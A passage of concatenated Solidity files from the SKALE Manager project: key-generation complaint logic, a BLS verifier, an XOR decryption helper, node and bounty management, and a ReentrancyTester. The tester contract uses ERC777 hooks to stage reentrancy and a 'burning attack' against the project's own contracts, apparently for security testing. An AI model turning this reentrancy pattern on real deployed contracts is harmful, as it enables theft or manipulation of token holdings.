pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../KeyStorage.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgBroadcast * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgBroadcast { using SafeMath for uint; /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, SkaleDKG.KeyShare[] secretKeyContribution ); /** * @dev Broadcasts verification vector and secret key contribution to all * other nodes in the group. * * Emits BroadcastAndKeyShare event. * * Requirements: * * - `msg.sender` must have an associated node. * - `verificationVector` must be a certain length. * - `secretKeyContribution` length must be equal to number of nodes in group. */ function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { uint n = channels[schainId].n; require(verificationVector.length == getT(n), "Incorrect number of verification vectors"); require( secretKeyContribution.length == n, "Incorrect number of secret key shares" ); (uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup( schainId, nodeIndex, true ); require(!dkgProcess[schainId].broadcasted[index], "This node has already broadcasted"); dkgProcess[schainId].broadcasted[index] = true; dkgProcess[schainId].numberOfBroadcasted++; if (dkgProcess[schainId].numberOfBroadcasted == channels[schainId].n) { SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainId); } hashedData[schainId][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData( secretKeyContribution, verificationVector ); KeyStorage(contractManager.getContract("KeyStorage")).adding(schainId, verificationVector[0]); emit BroadcastAndKeyShare( schainId, nodeIndex, verificationVector, secretKeyContribution ); } function getT(uint n) public pure returns (uint) { return n.mul(2).add(1).div(3); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgComplaint.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../ConstantsHolder.sol"; import "../Wallets.sol"; import "../Nodes.sol"; /** * @title SkaleDkgComplaint * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgComplaint { using SafeMath for uint; /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); /** * @dev Creates a complaint from a node (accuser) to a given node. * The accusing node must broadcast additional parameters within 1800 blocks. * * Emits {ComplaintSent} or {ComplaintError} event. * * Requirements: * * - `msg.sender` must have an associated node. */ function complaint( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); } else { // not broadcasted in 30 min _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); } else { emit ComplaintError("First complaint has already been processed"); } } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); // missing alright if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { // missing alright skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; } else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) { // incorrect data skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; } else if (complaints[schainId].nodeToComplaint == toNodeIndex) { // 30 min after incorrect data complaint if (complaints[schainId].startComplaintBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgPreResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgPreResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgPreResponse { using SafeMath for uint; using G2Operations for G2Operations.G2Point; function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); uint index = _preResponseCheck( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, skaleDKG, complaints, hashedData ); _processPreResponse(secretKeyContribution[index].share, schainId, verificationVectorMult, complaints); } function _preResponseCheck( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, SkaleDKG skaleDKG, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) private view returns (uint index) { (uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(!complaints[schainId].isResponse, "Already submitted pre response data"); require( hashedData[schainId][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector), "Broadcasted Data is not correct" ); require( verificationVector.length == verificationVectorMult.length, "Incorrect length of multiplied verification vector" ); (index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, complaints[schainId].fromNodeToComplaint, true); require( _checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult), "Multiplied verification vector is incorrect" ); } function _processPreResponse( bytes32 share, bytes32 schainId, G2Operations.G2Point[] memory verificationVectorMult, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private { complaints[schainId].keyShare = share; complaints[schainId].sumOfVerVec = _calculateSum(verificationVectorMult); complaints[schainId].isResponse = true; } function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult) private view returns (G2Operations.G2Point memory) { G2Operations.G2Point memory value = G2Operations.getG2Zero(); for (uint i = 0; i < verificationVectorMult.length; i++) { value = value.addG2(verificationVectorMult[i]); } return value; } function _checkCorrectVectorMultiplication( uint indexOnSchain, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult ) private view returns (bool) { Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator(); for (uint i = 0; i < verificationVector.length; i++) { (tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i); if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) { return false; } } return true; } function _checkPairing( Fp2Operations.Fp2Point memory g1Mul, G2Operations.G2Point memory verificationVector, G2Operations.G2Point memory verificationVectorMult ) private view returns (bool) { require(G1Operations.checkRange(g1Mul), "g1Mul is not valid"); g1Mul.b = G1Operations.negate(g1Mul.b); Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator(); return Precompiled.bn256Pairing( one.a, one.b, verificationVectorMult.x.b, verificationVectorMult.x.a, verificationVectorMult.y.b, verificationVectorMult.y.a, g1Mul.a, g1Mul.b, verificationVector.x.b, verificationVector.x.a, verificationVector.y.b, verificationVector.y.a ); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../Decryption.sol"; import "../Nodes.sol"; import "../thirdparty/ECDH.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgResponse { using G2Operations for G2Operations.G2Point; function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, fromNodeIndex); require(index < channels[schainId].n, "Node is not in this group"); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(complaints[schainId].isResponse, "Have not submitted pre-response data"); uint badNode = _verifyDataAndSlash( schainId, secretNumber, multipliedShare, contractManager, complaints ); SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainId, badNode); } function _verifyDataAndSlash( bytes32 schainId, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private returns (uint badNode) { bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey( complaints[schainId].fromNodeToComplaint ); uint256 pkX = uint(publicKey[0]); (pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1])); bytes32 key = bytes32(pkX); // Decrypt secret key contribution uint secret = Decryption(contractManager.getContract("Decryption")).decrypt( complaints[schainId].keyShare, sha256(abi.encodePacked(key)) ); badNode = ( _checkCorrectMultipliedShare(multipliedShare, secret) && multipliedShare.isEqual(complaints[schainId].sumOfVerVec) ? complaints[schainId].fromNodeToComplaint : complaints[schainId].nodeToComplaint ); SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, badNode); } function _checkCorrectMultipliedShare( G2Operations.G2Point memory multipliedShare, uint secret ) private view returns (bool) { if (!multipliedShare.isG2()) { return false; } G2Operations.G2Point memory tmp = multipliedShare; Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({ a: 0, b: 0 }); (share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret); require(G1Operations.checkRange(share), "share is not valid"); share.b = G1Operations.negate(share.b); require(G1Operations.isG1(share), "mulShare not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); return Precompiled.bn256Pairing( share.a, share.b, g2.x.b, g2.x.a, g2.y.b, g2.y.a, g1.a, g1.b, tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( Fp2Operations.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, G2Operations.G2Point calldata publicKey ) external view returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord.add(counter)) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { return uint256(ciphertext ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferencesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../delegation/PartialDifferences.sol"; contract PartialDifferencesTester { using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using SafeMath for uint; PartialDifferences.Sequence[] private _sequences; // PartialDifferences.Value[] private _values; function createSequence() external { _sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0})); } function addToSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].addToSequence(diff, month); } function subtractFromSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].subtractFromSequence(diff, month); } function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) { require(sequence < _sequences.length, "Sequence does not exist"); return _sequences[sequence].getAndUpdateValueInSequence(month); } function reduceSequence( uint sequence, uint a, uint b, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b); return _sequences[sequence].reduceSequence(reducingCoefficient, month); } function latestSequence() external view returns (uint id) { require(_sequences.length > 0, "There are no _sequences"); return _sequences.length.sub(1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ReentrancyTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../Permissions.sol"; import "../delegation/DelegationController.sol"; contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bool private _reentrancyCheck = false; bool private _burningAttack = false; uint private _amount = 0; constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata /* userData */, bytes calldata /* operatorData */ ) external override { if (_reentrancyCheck) { IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require( skaleToken.transfer(contractManager.getContract("SkaleToken"), amount), "Transfer is not successful"); } } function tokensToSend( address, // operator address, // from address, // to uint256, // amount bytes calldata, // userData bytes calldata // operatorData ) external override { if (_burningAttack) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.delegate( 1, _amount, 2, "D2 is even"); } } function prepareToReentracyCheck() external { _reentrancyCheck = true; } function prepareToBurningAttack() external { _burningAttack = true; } function burningAttack() external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); _amount = skaleToken.balanceOf(address(this)); skaleToken.burn(_amount, ""); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./interfaces/IMintableToken.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./NodeRotation.sol"; import "./Permissions.sol"; import "./Schains.sol"; import "./Wallets.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; /** * @dev Emitted when bounty is received. */ event BountyReceived( uint indexed nodeIndex, address owner, uint averageDowntime, uint averageLatency, uint bounty, uint previousBlockEvent, uint time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { Schains schains = Schains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external { uint gasTotal = gasleft(); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); nodeRotation.freezeSchains(nodeIndex); if (nodes.isNodeActive(nodeIndex)) { require(nodes.initExit(nodeIndex), "Initialization of node exit is failed"); } require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { SchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, now.add( isSchains ? ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function deleteSchain(string calldata name) external { Schains schains = Schains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external onlyAdmin { Schains schains = Schains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external { uint gasTotal = gasleft(); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, uint(-1), block.timestamp, gasleft()); _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function setVersion(string calldata newVersion) external onlyOwner { version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private returns (bool) { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 29000; Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } } // SPDX-License-Identifier: AGPL-3.0-only /* Distributor.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "../utils/MathUtils.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; import "./DelegationPeriodManager.sol"; import "./TimeHelpers.sol"; /** * @title Distributor * @dev This contract handles all distribution functions of bounty and fee * payments. */ contract Distributor is Permissions, IERC777Recipient { using MathUtils for uint; /** * @dev Emitted when bounty is withdrawn. */ event WithdrawBounty( address holder, uint validatorId, address destination, uint amount ); /** * @dev Emitted when a validator fee is withdrawn. */ event WithdrawFee( uint validatorId, address destination, uint amount ); /** * @dev Emitted when bounty is distributed. */ event BountyWasPaid( uint validatorId, uint amount ); IERC1820Registry private _erc1820; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _bountyPaid; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _feePaid; // holder => validatorId => month mapping (address => mapping (uint => uint)) private 